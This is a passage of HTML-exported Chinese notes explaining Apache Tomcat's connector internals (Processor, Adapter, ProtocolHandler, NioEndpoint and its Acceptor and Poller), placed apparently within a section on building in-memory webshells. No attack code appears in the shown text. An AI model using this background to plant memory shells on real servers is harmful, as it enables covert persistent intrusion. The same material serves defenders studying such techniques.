style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:processor;"><span style="font-family:Calibri;">Processor</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:processor;"><span style="font-family:Cambria;">接收 Endpoint 的 socket，读取字节流解析成 tomcat request 和 response，通过 adapter 将其提交到容器处理。Processor 的具体实现类 AjpProcessor、Http11Processor 实现了特定协议的解析方法和请求处理方式。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:processor;"><span style="font-family:Cambria;">Endpoint 接收到 socket 连接后，生成一个 socketProcessor 交给线程池处理，run 方法会调用 Processor 解析应用层协议，生成 tomcat request 后，调用 adapter 的 service 方法。</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Calibri;">Adapter</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">ProtocolHandler 接口负责解析请求生成 tomcat requst，CoyoteAdapter 的 service 方法，将 Tomcat Request 对象，转成 ServletRequest，再调用 service 方法</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;"><img data-ratio="0.7285714285714285" style="width:553.8084106445312px;height:408.0799865722656px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=98b02871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKG0et7ypNibhH7HtRGUoRxASvAH6rVOggk3ULfB6ZMePWZpJ1GvkpvzA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">ProtocolHandler和Adapter，前者用于处理请求，而后者则是Connector与Container容器之间的一个连接器。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">protocolHandler是Connector的一个主要属性，是Coyote用来处理协议的主要接口</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">Coyote默认支持HTTP/1.1、HTTP/2、AJP协议，AJP协议是面向包的协议，因为虽然Tomcat可以作为独立的java web容器，但是它对静态资源的处理速度远不如其他专业的HTTP服务器比如Nginx，所以通常在实际应用中需要与其他HTTP服务器集成，而这个集成由AJP完成，默认监听8009端口。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">另外Coyote默认支持NIO、NIO2（AIO）、APR三种I/O处理方式</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:adapter;"><span style="font-family:Cambria;">APR表示Apache可移植运行库，是Aapche Http服务器的支持库，开启这个模式Tomcat将以JNI的形式调用Apache HTTP服务器的核心链接库来处理文件或网络传输操作，从操作系统级别解决异步IO问题，大幅度的提高服务器的处理和响应性能，是Tomcat运行高并发应用的首选。</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Calibri;">NioEndpoint</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">这个NioEndpoint作为Tomcat NIO的IO处理策略，主要提供工作线程和线程池：</span></span></span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Socket接收者Acceptor</span></span></span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Socket轮询者Poller</span></span></span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">工作线程池</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.jianshu.com/p/a03357de3f38" target="_blank">https://www.jianshu.com/p/a03357de3f38</a></span></span></span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">class</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> NioEndpoint </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">extends</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> AbstractJsseEndpoint</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">NioChannel</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">SocketChannel</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 线程安全的Selector池 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> NioSelectorPool selectorPool </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">NioSelectorPool</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 轮询事件的缓存栈 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> SynchronizedStack</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">PollerEvent</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> eventCache</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* NioChannel的缓存栈，NioChannel对SocketChannel封装，使SSL与非SSL对外提供相同的处理方式 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> SynchronizedStack</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">NioChannel</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> nioChannels</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 轮询线程的优先级 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span 